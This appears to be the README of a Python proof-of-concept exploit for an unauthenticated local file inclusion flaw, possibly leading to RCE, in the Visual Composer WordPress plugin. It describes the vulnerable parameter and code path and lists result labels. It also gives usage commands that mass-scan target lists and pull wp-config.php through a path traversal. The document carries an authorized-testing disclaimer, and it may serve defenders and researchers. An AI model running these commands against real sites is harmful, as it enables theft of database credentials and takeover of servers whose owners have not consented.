Python 3 PoC for **[CVE-2026-12227]( (Wordfence): **Local File Inclusion** via the `vcv-template` query parameter in **Visual Composer Website Builder** (`visualcomposer` on wordpress.org).
| **Component** | [Visual Composer Website Builder]( |
| **Fixed in** | **> 45.16.0** ([WP Trac 3619572]( — use latest stable (e.g. **45.16.3+**) |
| **CVSS** | **9.8 Critical** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) |
| **Not** | WPBakery (`js_composer`) or SAP NetWeaver Visual Composer |
On vulnerable versions, public page loads honor attacker-controlled **`vcv-template`** (with **`vcv-template-type`**) during WordPress `template_include` handling inside `PageTemplatesController`. That can include attacker-chosen files on disk; PHP files may execute (RCE). Wordfence notes chains with uploaded “safe” extensions in some setups.
- Needs **plugin installed** and a **front-end page** built with VC (normal permalink).
- Probe adds query params, e.g. `?vcv-template-type=vc&vcv-template=blank` or LFI paths under `vcv-template`.
- Related params: `vcv-template-type`, `vcv-template-stretched`.
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u --mode check
python poc.py -u --mode check --page-url /
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u --mode exploit --page-url / --file ../../../../../../wp-config.php
python poc.py -u --mode check --json
| `cve_2026_12227_results.jsonl` | Full per-target JSON |
| `candidates.jsonl` | Check-mode summary (`page_url`, `status`, `lfi`) |
| `lfi_confirmed` | Response matches `wp-config` / `/etc/passwd` / `version.php` heuristics |
| `vcv_template_controllable` | `vcv-template=blank` changes layout vs baseline (vuln param honored) |
| `plugin_vuln_no_surface` | Old plugin version but no VC page or param ignored |
| `no_vc_page` | Plugin present, no VC markers on crawled paths |
body="/wp-content/plugins/visualcomposer/"
- Code path: `visualcomposer/Modules/Editors/Settings/PageTemplatesController.php` (`getCurrentTemplateLayout`, `viewPageTemplate`).
- **Check** treats **param control** or **LFI markers** as `exploitable_candidate`; confirm on a staging clone before assuming RCE.
- Premium **TemplateFilter** / theme-builder addons may widen reachable paths on some sites.
Use only on systems you own or have explicit permission to test.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
